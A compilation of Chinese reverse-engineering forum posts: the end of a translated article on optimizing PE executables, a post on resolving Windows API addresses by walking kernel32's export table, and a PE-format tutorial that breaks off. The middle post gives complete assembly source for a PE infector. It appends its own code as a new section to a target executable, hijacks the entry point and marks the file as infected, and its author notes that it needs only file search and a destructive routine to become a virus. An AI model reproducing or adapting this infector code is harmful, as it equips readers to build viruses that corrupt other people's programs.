现在我们回到LIPO32.CPP中的AnalyzeFile函数，该函数所做的第一件事情是用传入的文件名建立一个PE_EXE2对象。我会简短描述一下PE_EXE2对象。在建立PE_EXE2对象之后，AnalyzeFile函数使用这个对象来验证指定的文件是否是一个真正的PE文件并且是一个80386系列二进制代码。如果两个条件都不成立，AnalyzeFile报告一个错误并且返回。

AnalyzeFile函数的其他工作很简单。使用PE_EXE2对象调用函数LookForIncrementalLinking,
LookForUnoptimizedCode, LookForDebugInfo, LookForRelocations,
LookForCombinableSections, LookForBSSSections, LookForLoadAddressConflicts, and
LookForBoundImage。我这里略去了杂七杂八的函数细节。如果你感兴趣，可以参见LIPO32.CPP源代码，在那里我做了很多注释。

LIPO32.CPP核心代码严重依赖于PE_EXE2类。PE_EXE2是一个我用于封装PE文件细节的类。PE_EXE2其实是第三代派生类。可以参见图5的类层次图。

图5PE_EXE2类层次图。（原文这里缺少图5）

MEMORY_MAPPED_FILE类提供了用于获取文件名并使之在内存中可用的的功能。构造函数和析构函数维护打开和关闭文件、内存映像和其他功能。如果你还没有内存映像类，这个类或许对你有价值。

EXE_FILE类位于MEMORY_MAPPED_FILE之上。它的作用仅限于告知内存映像文件是否是可执行文件。如果文件是可执行文件，EXE_FILE类会告诉你它是什么类型（MS-DOS？16-bit
Windows、OS/2 2.x、VxD还是PE）。

PE_EXE类是让人感兴趣的类。这各类对WINNT.H中定义的PE文件数据结构做了很少的一点包装。它的功能几乎仅限于读出PE头信息。此外，PE_EXE类也可以返回信息和用PE文件数据目录——诸如导入表达小或指向调试信息的指针——计算出来的指针。如果你的程序操作PE文件，你可能会考虑把PE_EXE加入到你的工具箱中。

记住重要的一点：PE_EXE类的设计是与WINNT.H中的信息一同工作的而不是替代之。比如，GetCharacteristics方法返回一个包含可执行文件信息的DWORD标志字。这些标志对应着WINNT.H中的有关定义。我并不在意重新生成WINNT.H中定义的所有#define和数据结构。如果你想使用PE_EXE类，你应该考虑把WINNT.H中的PE文件结构和定义作为类的一部分。

最后，我来介绍一下PE_EXE2类，这是从PE_EXE类派生的。PE_EXE2提供两类PE_EXE未提供的功能。首先，PE_EXE2提供了对可执行文件中的片段的访问。你可以用名字、从1开始的下标或相对虚拟地址（RVA）来搜索一个片段。每个片段相关的方法都返回一个PESECTION.H中定义的PE_SECTION对象，PE_SECTION对象只是对WINNT.H中定义的IMAGE_SECTION_HEADER结构的简单封装。

PE_EXE2拥有而PE_EXE没有的其他额外特性是PE_EXE2允许轻松访问文件中的调试信息。解释调试信息有一点困难，因为，Borland和Microsoft在如何解释PE格式的关键字段方面历来就不一样。我建立了PE_EXE2类，因此我可以在其他无需调试信息和片段信息的项目里使用基类PE_EXE。

除了PE_EXE2类以外，吸脂程序代码以来的其他类是MODULE_DEPENDENCY_LIST类。这个类对于找到在进程地址空间相互重叠的可执行文件时非常重要的。给它一个可执行文件的名字，它就可以构造一个完整的该可执行文件直接导入或通过其他模块间接导入的模块的列表。在构造了这个列表之后，该类可以用来通过名字查询某个特殊的模块。该类还可以报告列表中有多少模块，以及枚举列表中的每一个模块。为了简化MODULE_DEPENDENCY_LIST类的代码，我使用了前面描述的PE_EXE类。

MODULE_DEPENDENCY_LIST类的构造函数获取可执行文件的名字，并且用递归的方法查找每一个导入的DLL。为了重复Win32加载器的行为，构造函数临时把当前工作目录改变为原始可执行模块所在的目录。模块列表建立之后，构造函数恢复了原始的当前工作目录。我说明这一点只是由于这么做会导致该类在多线程映用中不安全，因为当前工作目录提供给整个进程而不是某个线程。

总结

我已经论述了可能导致可执行文件效率低下的两个方面：大小和性能。在大小方面，如果你还没做过什么努力，那么就确保你的程序不是Debug版本。在速度方面，要想办法用诸如REBASE这样的工具避免加载地址冲突。我也论述了其他可以优化的部分，但是，即使你仅仅做了上面两件事情，你也可以很好地改进你那拙劣的代码了。

这些天来，诸如GB（giga-byte）和200MHz之类的词汇到处泛滥。看上去调整程序的性能使之尽可能高效率的做法已经是过时的艺术了。正如我在此处所言，成为一个编程团体的友好公民并不困难。如果我们一起来努力使得我们的代码干净而快速，我们就可以打破仅仅为了使工作能够进行而不得不需要越来越大和越来越快的计算机这样的恶性循环。

本文由Miller Freeman公司发表在《微软系统月刊》1995年第一期。版权保留。未经Miller
Freeman公司同意，本文的任何部分不得以任何方式被复制（除了评论性文章）。

要想同Miller Freeman公司联系定购，在美国可用(800) 666-1084，其他国家用(303) 447-9330。其他调查，请用(415)
358-9500

[译者注]本文由松鼠和老狐狸翻译。


Api地址的获取

 标 题:老掉牙的东西－－Api地址的“手动”获取 (8千字)
发信人:hume
时 间:2002-3-10 19:58:08
详细信息:
api函数地址的获取

by Hume/冷雨飘心

这是一个老题目了,如果我们不用任何引入库,能否在程序中调用api函数?当然可以!方法有很多,你可能早就知道了,如果你已经了解了,就此打住,这是为还不了解这一技术而写.另外这也是病毒必用的技巧之一,如果你对病毒技术感兴趣,接着看下去.

这里假设你了解PE的基本结构,如果还不懂,找点资料来看看,到处都是呦.

在几乎每个病毒的开头都用下面的语句:
call delta
delta:
pop ebp
sub ebp,offset delta
mov dword ptr [ebp+offset appBase],ebp

让我们考虑一下程序的执行情况,如果下面的代码由编译器自动编译连接,那么程序执行的基址一般是400000h,如果是在Nt下执行,那么基址可能不同,比如从100000h开始,不用担心,操作系统的Loader会自动为你重定位.但是这里停下来让我们看一下,如果你想要把这段代码附加到其他程序的后面并想让其正确执行的话,就不是那么简单了,因为你的代码可能要从555588h处开始执行,而在没有得到宿主程序许可的情况下期望操作系统自动为你修正偏移错误是不可能的,既然有非常的目的,就得费点力气,自己搞定重定位.而上面的代码就是首先得到eip指针,也是delta在程序执行时的实际偏移,然后减掉代码头到delta的偏移从而得到你的代码的真正基址,后面对于偏移的操作都应以这个真正的偏移为准.这就是你上面看到的.如果不明白,就仔细想一下,nothing difficult!下面的例子演示了这一点,并没有全部重定位,因为这只是技术演示.

现在回到本文的正式内容,要想获得api的地址,得首先获得诸如kernel32.dll,user32.dll的基址,然后再找到真正的函数地址.如何获得基址和函数地址呢呢?有几种方法
1)搜寻宿主的引入表获得GetModuleHandleA函数和GetProcAddress的地址,然后通过他返回系统dll的基址.因为很多程序都要使用这两个函数,因此在某些情况下是可行的,如果宿主没有使用GetProcAddress,那你就不得不搜寻Export表了.
2)直接获得kernel32.dll的基址,然后再搜寻Export表获得GetProcAddress和LoadLibraryA的地址,然后我们就能得到任何想调用的函数地址.

3)硬编码调用函数,比如在9X下GetModuleHandleA的地址一般是BFF7****.

第一种和第三种方法存在兼容性的问题,假如宿主没有调用GetModuleHandleA,那么你就不能获得基址,别的就更别想了...硬编码问题更大,操作系统不同则不能运行了,比如9X下可能在有些计算机上正常,但肯定不能在Nt/2K下运行...

第二种方法兼容性比较好,因此作以介绍.

一点背景:在PE Loader装入我们的程序启动后堆栈顶的地址是是程序的返回地址,肯定在Kernel中!

因此我们可以得到这个地址,然后向低地址缩减验证一直到找到模块的起始地址,验证条件为PE头不能大于4096bytes,PE header的ImageBase值应该和当前指针相等,嘿嘿,简单吧,而且兼容性还不错.

要获得Api的地址首先要获得GetModuleHandle,LoadLibraryA,GetProcAddress的地址,这是通过搜索Export表来实现的,具体原理就是PE Export表的结构,如果了解了PE结构就很简单了.下面我加了点注释,没有优化代码,是为了便于理解.

好,这一部分结束了!

这是一个例子,没有用任何预引入函数,加了一条invoke InitCommonControls是为了在2K下也能正常运行,否则不能在2K下不加载!
程序得到MessageBoxA的地址然后显示一个消息框,目的在于演示,重要部分加了注释,很好明白.

.586
.model flat, stdcall
option casemap :none ; case sensitive
include c:\hd\hd.h
include c:\hd\mac.h

;;--------------

GetApiA proto :DWORD,:DWORD

;;--------------
.CODE
appBase dd ?
k32Base dd ?

lpApiAddrs label near
dd offset sGetModuleHandle
dd offset sGetProcAddress
dd offset sExitProcess
dd offset sLoadLibrary
dd 0

sGetModuleHandle db "GetModuleHandleA",0
sGetProcAddress db "GetProcAddress",0
sExitProcess db "ExitProcess",0
sLoadLibrary db "LoadLibraryA",0

sMessageBoxA db "MessageBoxA",0

aGetModuleHandle dd 0
aGetProcAddress dd 0
aExitProcess dd 0
aLoadLibrary dd 0
aMessageBoxA dd 0

u32 db "User32.dll",0
k32 db "Kernel32.dll",0

sztit db "By Hume,2002",0
szMsg0 db "Hey,Hope U enjoy it!",0
;;-----------------------------------------

__Start:
invoke InitCommonControls

call delta
delta:
pop ebp ;得到delta地址
sub ebp,offset delta ;因为在其他程序中基址可能不是默认的所以需要重定位
mov dword ptr [ebp+offset appBase],ebp ;呵呵仔细想想

mov ecx,[esp] ;返回地址
xor edx,edx
getK32Base:
dec ecx ;逐字节比较验证
mov dx,word ptr [ecx+IMAGE_DOS_HEADER.e_lfanew] ;就是ecx+3ch
test dx,0f000h ;Dos Header+stub不可能太大,超过4096byte
jnz getK32Base ;加速检验
cmp ecx,dword ptr [ecx+edx+IMAGE_NT_HEADERS.OptionalHeader.ImageBase]
jnz getK32Base ;看Image_Base值是否等于ecx即模块起始值,
mov [ebp+offset k32Base],ecx ;如果是,就认为找到kernel32的Base值

lea edi,[ebp+offset aGetModuleHandle]
lea esi,[ebp+offset lpApiAddrs]
lop_get:
lodsd
cmp eax,0
jz End_Get
push eax
push dword ptr [ebp+offset k32Base]
call GetApiA ;获取API地址
stosd
jmp lop_get
End_Get:
push offset u32
call dword ptr [ebp+offset aLoadLibrary] ;在程序空间加载User32.dll

lea EDX,[EBP+OFFSET sMessageBoxA]
push edx
push eax
mov eax,dword ptr [ebp+aGetProcAddress] ;用GetProcAddress获得MessageBoxA的地址
call eax ;调用GetProcAddress

push 40h+1000h ;style
push offset sztit ;title
push offset szMsg0 ;消息内容
push 0
call eax ;一个消息框产生了...嘿嘿
;有理由为此高兴吧,因为我们没有预先引入
@@: ;这些函数
push 0
call [ebp+aExitProcess]

;-----------------------------------------
K32_api_retrieve proc Base:DWORD ,sApi:DWORD

push edx ;保存edx
xor eax,eax ;此时esi=sApi
Next_Api: ;edi=AddressOfNames
mov esi,sApi
xor edx,edx
dec edx
Match_Api_name:
mov bl,byte ptr [esi]
inc esi
cmp bl,0
jz foundit

inc edx

push eax
mov eax,[edi+eax*4] ;AddressOfNames的指针,递增
add eax,Base ;注意是RVA,一定要加Base值
cmp bl,byte ptr [eax+edx] ;逐字符比较
pop eax
jz Match_Api_name ;继续搜寻
inc eax ;不匹配,下一个api
loop Next_Api
jmp no_exist ;若全部搜完,即未存在
foundit:
pop edx ;edx=AddressOfNameOrdinals
shl eax,1 ;*2得到AddressOfNameOrdinals的指针
movzx eax,word ptr [edx+eax] ;eax返回指向AddressOfFunctions的指针
ret
no_exist:
pop edx
xor eax,eax
ret
K32_api_retrieve endp
;-----------------------------------------

GetApiA proc Base:DWORD,sApi:DWORD
local ADDRofFun:DWORD
pushad
mov edi,Base
add edi,IMAGE_DOS_HEADER.e_lfanew
mov edi,[edi] ;现在edi=off PE_HEADER
add edi,Base ;得到IMAGE_NT_HEADERS的偏移

mov ebx,edi
mov edi,[edi+IMAGE_NT_HEADERS.OptionalHeader.DataDirectory.VirtualAddress]
add edi,Base ;得到edi=IMAGE_EXPORT_DIRECTORY入口

mov eax,[edi+1ch] ;AddressOfFunctions的地址
add eax,Base
mov ADDRofFun,eax
;ecx=NumberOfNames
mov ecx,[edi+18h]
mov edx,[edi+24h]
add edx,Base ;edx=AddressOfNameOrdinals

mov edi,[edi+20h]
add edi,Base ;edi=AddressOfNames
invoke K32_api_retrieve,Base,sApi
mov ebx,ADDRofFun
shl eax,2 ;要*4才得到偏移
add eax,ebx
mov eax,[eax]
add eax,Base ;加上Base!
mov [esp+7*4],eax ;eax返回api地址
popad
ret
GetApiA endp

;-----------------------------------------

END __Start
;------------------------------------------End all


PE

 标 题:用冰天雪地的一个软件发现居然有版权信息,呵呵,这次我自己写个玩玩...喜欢asm的朋友可以看看 (15千字)
发信人:hume
时 间:2002-3-12 19:51:16
详细信息:
闲来写了个修改PE的小程序,主要是演示和实践PE操作和重定位的概念,实在没事情的时候,可以看看,你将会看到PE文件实际上很简单!当然,首先得作好被我的垃圾代码扫了雅兴的准备.这里利用的是我前面介绍的方法的手动查找API的方法.这个东西修改PE并在最后加上一节,节名'.hum',被附加程序启动前会显示一个MsgBox,以显示一些信息,你可以用来给自己破的软件来一个所谓的版权信息(我最痛恨的就是....这个!烦),当然也可以执行其他一些操作,实际上,再加上文件搜索功能和破坏例程,这就将是一个最简单的病毒....

这个例子没有优化,也没有安排好结构,有兴趣的凑合着看吧,另外还有一些冗余,没有兴趣整理了.
编译要加入/section:.text,RWE选项.默认操作是对同目录下的sc.exe(heh..,my starcraft).
.记住,PE文件实际上是很简单的,只要你耐心看下去.
注:虽然用了Virus字样,但不是病毒...

.586
.model flat, stdcall
option casemap :none ; case sensitive
include c:\hd\hd.h
include c:\hd\mac.h

;;--------------

GetApiA proto :DWORD,:DWORD

;;--------------
.CODE
VirusLen = vEnd-vBegin ;Virus 长度
vBegin:
;-----------------------------------------
include s_api.asm ;查找需要的api地址
;-----------------------------------------

desfile db "sc.exe",0
fsize dd ?
hfile dd ?
hMap dd ?
pMem dd ?
;-----------------------------------------
pe_Header dd ?
sec_align dd ?
file_align dd ?
newEip dd ?
oldEip dd ?
inc_size dd ?
oldEnd dd ?
;-----------------------------------------

sMessageBoxA db "MessageBoxA",0

aMessageBoxA dd 0

;;临时变量...
sztit db "By Hume,2002",0
szMsg0 db "Hey,Hope U enjoy it!",0
CopyRight db "The SoftWare WAS OFFERRED by Hume[AfO]",0dh,0ah
db " Thx for using it!",0dh,0ah
db "Contact: Humewen@21cn.com",0dh,0ah
db " humeasm.yeah.net",0dh,0ah
db "The add Code SiZe:(heX)"

val dd 0,0,0,0
;;-----------------------------------------

__Start:

call _gd
_gd:
pop ebp ;得到delta地址
sub ebp,offset _gd ;因为在其他程序中基址可能不是默认的所以需要重定位
mov dword ptr [ebp+appBase],ebp ;呵呵仔细想想

mov eax,[esp] ;返回地址
xor edx,edx
getK32Base:
dec eax ;逐字节比较验证
mov dx,word ptr [eax+IMAGE_DOS_HEADER.e_lfanew] ;就是ecx+3ch
test dx,0f000h ;Dos Header+stub不可能太大,超过4096byte
jnz getK32Base ;加速检验
cmp eax,dword ptr [eax+edx+IMAGE_NT_HEADERS.OptionalHeader.ImageBase]
jnz getK32Base ;看Image_Base值是否等于ecx即模块起始值,
mov [ebp+k32Base],eax ;如果是,就认为找到kernel32的Base值

lea edi,[ebp+aGetModuleHandle]
lea esi,[ebp+lpApiAddrs]
lop_get:
lodsd
cmp eax,0
jz End_Get
add eax,ebp
push eax
push dword ptr [ebp+k32Base]
call GetApiA
stosd
jmp lop_get ;获得api地址,参见s_api文件

End_Get:
call my_infect

include dislen.asm
;-----------------------------------------
CouldNotInfect:

__where:
xor eax,eax ;判断是否是已经附加,标志'dark'
push eax
call [ebp+aGetModuleHandle]
mov esi,eax
add esi,[esi+3ch] ;->esi->程序本身的Pe_header
cmp dword ptr [esi+8],'dark'
je jmp_oep

jmp __xit ;退出启动程序
jmp_oep:
add eax,[ebp+oldEip]
jmp eax ;跳到宿主程序的入口点

my_infect: ;感染部分,文件读写操作,Pe文件修改参见modipe.asm文件
xor eax,eax
push eax
push eax
push OPEN_EXISTING
push eax
push eax
push GENERIC_READ+GENERIC_WRITE
lea eax,[ebp+desfile]
push eax
call [ebp+aCreateFile] ;打开目标文件
inc eax
je __Err

dec eax
mov [ebp+hfile],eax

push eax

sub ebx,ebx
push ebx
push eax ;得到文件大小
call [ebp+aGetFileSize]
inc eax
je __sclosefile
dec eax
mov [ebp+fsize],eax
xchg eax,ecx
add ecx,1000h ;文件大小增加...4096
pop eax

xor ebx,ebx ;创建映射文件
push ebx
push ecx ;文件大小等于原大小+Vsize
push ebx
push PAGE_READWRITE
push ebx
push eax
call [ebp+aCreateFileMapping]
test eax,eax
je __sclosefile
mov [ebp+hMap],eax ;创建成功否?

xor ebx,ebx
push ebx
push ebx
push ebx
push FILE_MAP_WRITE
push eax
call [ebp+aMapViewOfFile]
test eax,eax
je __sclosemap ; 映射文件,是否成功?
mov [ebp+pMem],eax
;--------------------------------------------
; the following is modifying part,add new section
;--------------------------------------------
include modipe.asm

__sunview:
push [ebp+pMem]
call [ebp+aUnmapViewOfFile]
__sclosemap:
push [ebp+hMap]
call [ebp+aCloseHandle]
__sclosefile:
push [ebp+hfile]
call [ebp+aCloseHandle]
__Err::
ret

;-----------------------------------------
__xit:

push 0
call [ebp+aExitProcess]
vEnd:
;-----------------------------------------

END __Start
;;==============================================
;;s_api.asm
;;手动查找api部分

K32_api_retrieve proc Base:DWORD ,sApi:DWORD

push edx ;保存edx
xor eax,eax ;此时esi=sApi
Next_Api: ;edi=AddressOfNames
mov esi,sApi
xor edx,edx
dec edx
Match_Api_name:
movzx ebx,byte ptr [esi]
inc esi
cmp ebx,0
je foundit

inc edx

push eax
mov eax,[edi+eax*4] ;AddressOfNames的指针,递增
add eax,Base ;注意是RVA,一定要加Base值
cmp bl,byte ptr [eax+edx] ;逐字符比较
pop eax
je Match_Api_name ;继续搜寻
inc eax ;不匹配,下一个api
loop Next_Api
no_exist:
pop edx ;若全部搜完,即未存在
xor eax,eax
ret

foundit:
pop edx ;edx=AddressOfNameOrdinals
;*2得到AddressOfNameOrdinals的指针
movzx eax,word ptr [edx+eax*2] ;eax返回指向AddressOfFunctions的指针
ret
K32_api_retrieve endp
;-----------------------------------------

GetApiA proc Base:DWORD,sApi:DWORD
local ADDRofFun:DWORD
pushad
mov esi,Base
mov eax,esi
mov ebx,eax
mov ecx,eax
mov edx,eax
mov edi,eax ;all is Base!

add ecx,[ecx+3ch] ;现在esi=off PE_HEADER

add esi,[ecx+78h] ;得到esi=IMAGE_EXPORT_DIRECTORY入口

add eax,[esi+1ch] ;eax=AddressOfFunctions的地址
mov ADDRofFun,eax

mov ecx,[esi+18h] ;ecx=NumberOfNames

add edx,[esi+24h] ;edx=AddressOfNameOrdinals

add edi,[esi+20h] ;esi=AddressOfNames

invoke K32_api_retrieve,Base,sApi

mov ebx,ADDRofFun
mov eax,[ebx+eax*4] ;要*4才得到偏移

add eax,Base ;加上Base!
mov [esp+7*4],eax ;eax返回api地址
popad
ret
GetApiA endp

u32 db "User32.dll",0
k32 db "Kernel32.dll",0

appBase dd ?
k32Base dd ?
;-----------------------------------------apis needed

lpApiAddrs label near
dd offset sGetModuleHandle
dd offset sGetProcAddress
dd offset sLoadLibrary
dd offset sCreateFile
dd offset sCreateFileMapping
dd offset sMapViewOfFile
dd offset sUnmapViewOfFile
dd offset sCloseHandle
dd offset sGetFileSize
dd offset sSetEndOfFile
dd offset sSetFilePointer

dd offset sExitProcess

dd 0,0

sGetModuleHandle db "GetModuleHandleA",0
sGetProcAddress db "GetProcAddress",0
sLoadLibrary db "LoadLibraryA",0
sCreateFile db "CreateFileA",0
sCreateFileMapping db "CreateFileMappingA",0
sMapViewOfFile db "MapViewOfFile",0
sUnmapViewOfFile db "UnmapViewOfFile",0
sCloseHandle db "CloseHandle",0
sGetFileSize db "GetFileSize",0
sSetFilePointer db "SetFilePointer",0
sSetEndOfFile db "SetEndOfFile",0

sExitProcess db "ExitProcess",0

aGetModuleHandle dd 0
aGetProcAddress dd 0
aLoadLibrary dd 0
aCreateFile dd 0
aCreateFileMapping dd 0
aMapViewOfFile dd 0
aUnmapViewOfFile dd 0
aCloseHandle dd 0
aGetFileSize dd 0
aSetFilePointer dd 0
aSetEndOfFile dd 0

aExitProcess dd 0
;-----------------------------------------
;;========================modipe.asm=================
;修改pe,添加节,实现传染功能

xchg eax,esi
cmp word ptr [esi],'ZM'
jne CouldNotInfect
add esi,[esi+3ch] ;指向PE_HEADER
cmp word ptr [esi],'EP'
jne CouldNotInfect ;是否是PE,否则不感染
cmp dword ptr [esi+8],'dark'
je CouldNotInfect
mov [ebp+pe_Header],esi ;保存pe_Header指针

mov ecx,[esi+74h] ;得到directory的数目
imul ecx,ecx,8

lea eax,[ecx+esi+78h] ;data directory eax->节表起始地址
movzx ecx,word ptr [esi+6h] ;节数目
imul ecx,ecx,28h ;得到所有节表的大小
add eax,ecx ;节结尾...
xchg eax,esi ;eax->Pe_header,esi->最后节开始偏移

;;**************************
;;添加如下结构:
;;name .hum
;;VirtualSize==原size+VirSize
;;VirtualAddress=
;;SizeOfRawData 对齐
;;PointerToRawData
;;PointerToRelocations dd 0
;;PointerToLinenumbers dd ?
;;NumberOfRelocations dw ?
;;NumberOfLinenumbers dw ?
;;Characteristics dd ?
;;**************************
mov dword ptr [esi],'muh.' ;节名.hum
mov dword ptr [esi+8],VirusLen ;实际大小

;计算VirtualSize和V.addr
mov ebx,[eax+38h] ;SectionAlignment
mov [ebp+sec_align],ebx
mov edi,[eax+3ch] ;file align
mov [ebp+file_align],edi

mov ecx,[esi-40+0ch] ;上一节的V.addr
mov eax,[esi-40+8] ;上一节的实际大小

xor edx,edx
div ebx ;除以节对齐
test edx,edx
je @@@1
inc eax
@@@1:
mul ebx ;对齐后的节大小
add eax,ecx ;加上V.addr就是新节的起始V.addr
mov [esi+0ch],eax ;保存新section偏移RVA
add eax,__Start-vBegin
mov [ebp+newEip],eax ;计算新的eip

mov dword ptr [esi+24h],0E0000020h ;属性

mov eax,VirusLen ;计算SizeOfRawData的大小
cdq
div edi ;节的文件对齐
je @@@2
inc eax
@@@2:
mul edi
mov dword ptr [esi+10h],eax ;保存节对齐文件的大小

mov eax,[esi-40+14h]
add eax,[esi-40+10h]

mov [esi+14h],eax ;PointerToRawData更新

mov [ebp+oldEnd],eax ;最后文件增加到...?

mov eax,[ebp+pe_Header]
inc word ptr [eax+6h] ;更新节数目
mov ebx,[eax+28h] ;eip指针偏移
mov [ebp+oldEip],ebx ;保存老指针
mov ebx,[ebp+newEip]
mov [eax+28h],ebx ;更新指针值

;comment $
mov ebx,[eax+50h] ;更新ImageSize
add ebx,VirusLen
mov ecx,[ebp+sec_align]
xor edx,edx
xchg eax,ebx ;eax和ebx交换...
cdq
div ecx
test edx,edx
je @@@3
inc eax
@@@3:
mul ecx
xchg eax,ebx ;还原 eax->pe_Header
mov [eax+50h],ebx ;保更新后的Image_Size大小
;$
mov dword ptr [eax+8],'dark'
cld ;写入
mov ecx,VirusLen
mov edi,[ebp+oldEnd]
add edi,[ebp+pMem]
lea esi,[ebp+vBegin]
rep movsb ;写入文件,all is OK!

xor eax,eax
sub edi,[ebp+pMem]

push FILE_BEGIN
push eax
push edi
push [ebp+hfile]
call [ebp+aSetFilePointer]

push [ebp+hfile]
call [ebp+aSetEndOfFile]
;============================disLen.asm
lea eax,[ebp+u32]
push eax
call dword ptr [ebp+aLoadLibrary]
test eax,eax
jnz @g1
@g1:

lea EDX,[EBP+sMessageBoxA]
push edx
push eax
mov eax,dword ptr [ebp+aGetProcAddress]
call eax
mov [ebp+aMessageBoxA],eax

;-----------------------------------------
mov ebx,VirusLen
mov ecx,8
cld
lea edi,[ebp+val]
L1:
rol ebx,4
call binToAscii
loop L1

push 40h+1000h
lea eax,[ebp+sztit]
push eax
lea eax,[ebp+CopyRight]
push eax
push 0
call [ebp+aMessageBoxA]

jmp __where
;-----------------------------------------

binToAscii proc near
mov eax,ebx
and eax,0fh
add al,30h
cmp al,39h
jbe @f
add al,7

@@:
stosb
ret
binToAscii endp
;----------------------------over-----by hume


关于PE可执行文件的修改

 标 题:转载：关于PE可执行文件的修改 (14千字)
时 间:2001-10-29 23:25:33
详细信息:
 关于PE可执行文件的修改
原创：ilsy（ILSY）

在windows 9x、NT、2000下，所有的可执行文件都是基于Microsoft设计的一种新的文件格式Portable Executable File
  Format（可移植的执行体），即PE格式。有一些时候，我们需要对这些可执行文件进行修改，下面文字试图详细的描述PE文件的格式及对PE格式文件的修改。
1、PE文件框架构成
DOS MZ header
DOS stub
PE header
Section table
Section 1
Section 2
Section ...
Section n
上表是PE文件结构的总体层次分布。所有 PE文件(甚至32位的 DLLs) 必须以一个简单的 DOS MZ header 开始，在偏移0处有DOS下可执行文件的“MZ标志”，有了它，一旦程序在DOS下执行，DOS就能识别出这是有效的执行体，然后运行紧随
  MZ header 之后的 DOS stub。DOS stub实际上是个有效的EXE，在不支持 PE文件格式的操作系统中，它将简单显示一个错误提示，类似于字符串
  " This program cannot run in DOS mode " 或者程序员可根据自己的意图实现完整的 DOS代码。通常DOS stub由汇编器/编译器自动生成，对我们的用处不是很大，它简单调用中断21h服务9来显示字符串"This
  program cannot run in DOS mode"。
紧接着 DOS stub 的是 PE header。 PE header 是PE相关结构 IMAGE_NT_HEADERS 的简称，其中包含了许多PE装载器用到的重要域。可执行文件在支持PE文件结构的操作系统中执行时，PE装载器将从
  DOS MZ header的偏移3CH处找到 PE header 的起始偏移量。因而跳过了 DOS stub 直接定位到真正的文件头 PE header。
PE文件的真正内容划分成块，称之为sections（节）。每节是一块拥有共同属性的数据，比如“.text”节等，那么，每一节的内容都是什么呢？实际上PE格式的文件把具有相同属性的内容放入同一个节中，而不必关心类似“.text”、“.data”的命名，其命名只是为了便于识别，所有，我们如果对PE格式的文件进行修改，理论上讲可以写入任何一个节内，并调整此节的属性就可以了。
PE header 接下来的数组结构 section table（节表）。 每个结构包含对应节的属性、文件偏移量、虚拟偏移量等。如果PE文件里有5个节，那么此结构数组内就有5个成员。
以上就是PE文件格式的物理分布，下面将总结一下装载一PE文件的主要步骤：
1、    PE文件被执行，PE装载器检查 DOS MZ header 里的 PE header 偏移量。如果找到，则跳转到 PE
  header。
2、PE装载器检查 PE header 的有效性。如果有效，就跳转到PE header的尾部。
3、紧跟 PE header 的是节表。PE装载器读取其中的节信息，并采用文件映射方法将这些节映射到内存，同时付上节表里指定的节属性。
4、PE文件映射入内存后，PE装载器将处理PE文件中类似 import table（引入表）逻辑部分。
上述步骤是一些前辈分析的结果简述。
2、PE文件头概述
我们可以在winnt.h这个文件中找到关于PE文件头的定义：
typedef struct _IMAGE_NT_HEADERS {
DWORD Signature;
//PE文件头标志 ：“PE\0\0”。在开始DOS header的偏移3CH处所指向的地址开始
IMAGE_FILE_HEADER FileHeader;        //PE文件物理分布的信息
IMAGE_OPTIONAL_HEADER32 OptionalHeader;    //PE文件逻辑分布的信息
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;

typedef struct _IMAGE_FILE_HEADER {
WORD    Machine;            //该文件运行所需要的CPU，对于Intel平台是14Ch
WORD    NumberOfSections;        //文件的节数目
DWORD  TimeDateStamp;        //文件创建日期和时间
DWORD  PointerToSymbolTable;    //用于调试
DWORD  NumberOfSymbols;        //符号表中符号个数
WORD    SizeOfOptionalHeader;    //OptionalHeader 结构大小
WORD    Characteristics;        //文件信息标记，区分文件是exe还是dll
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;

typedef struct _IMAGE_OPTIONAL_HEADER {
WORD    Magic;            //标志字(总是010bh)
BYTE    MajorLinkerVersion;        //连接器版本号
BYTE    MinorLinkerVersion;        //
DWORD  SizeOfCode;            //代码段大小
DWORD  SizeOfInitializedData;    //已初始化数据块大小
DWORD  SizeOfUninitializedData;    //未初始化数据块大小
DWORD  AddressOfEntryPoint;    //PE装载器准备运行的PE文件的第一个指令的RVA，若要改变整个执行的流程，可以将该值指定到新的RVA，这样新RVA处的指令首先被执行。（许多文章都有介绍RVA，请去了解）
DWORD  BaseOfCode;            //代码段起始RVA
DWORD  BaseOfData;            //数据段起始RVA
DWORD  ImageBase;            //PE文件的装载地址
DWORD  SectionAlignment;        //块对齐
DWORD  FileAlignment;        //文件块对齐
WORD    MajorOperatingSystemVersion;//所需操作系统版本号
WORD    MinorOperatingSystemVersion;//
WORD    MajorImageVersion;        //用户自定义版本号
WORD    MinorImageVersion;        //
WORD    MajorSubsystemVersion;    //win32子系统版本。若PE文件是专门为Win32设计的
WORD    MinorSubsystemVersion;    //该子系统版本必定是4.0否则对话框不会有3维立体感
DWORD  Win32VersionValue;        //保留
DWORD  SizeOfImage;            //内存中整个PE映像体的尺寸
DWORD  SizeOfHeaders;        //所有头+节表的大小
DWORD  CheckSum;            //校验和
WORD    Subsystem;            //NT用来识别PE文件属于哪个子系统
WORD    DllCharacteristics;        //
DWORD  SizeOfStackReserve;        //
DWORD  SizeOfStackCommit;        //
DWORD  SizeOfHeapReserve;        //
DWORD  SizeOfHeapCommit;        //
DWORD  LoaderFlags;            //
DWORD  NumberOfRvaAndSizes;    //
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
//IMAGE_DATA_DIRECTORY 结构数组。每个结构给出一个重要数据结构的RVA，比如引入地址表等
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;

typedef struct _IMAGE_DATA_DIRECTORY {
DWORD  VirtualAddress;        //表的RVA地址
DWORD  Size;                //大小
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;

PE文件头后是节表，在winnt.h下如下定义
typedef struct _IMAGE_SECTION_HEADER {
BYTE    Name[IMAGE_SIZEOF_SHORT_NAME];//节表名称,如“.text”
union {
DWORD  PhysicalAddress;    //物理地址
DWORD  VirtualSize;        //真实长度
} Misc;
DWORD  VirtualAddress;        //RVA
DWORD  SizeOfRawData;        //物理长度
DWORD  PointerToRawData;        //节基于文件的偏移量
DWORD  PointerToRelocations;    //重定位的偏移
DWORD  PointerToLinenumbers;    //行号表的偏移
WORD    NumberOfRelocations;    //重定位项数目
WORD    NumberOfLinenumbers;    //行号表的数目
DWORD  Characteristics;        //节属性
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

以上结构就是在winnt.h中关于PE文件头的定义，如何我们用C/C++来进行PE可执行文件操作，就要用到上面的所有结构，它详细的描述了PE文件头的结构。

3、修改PE可执行文件
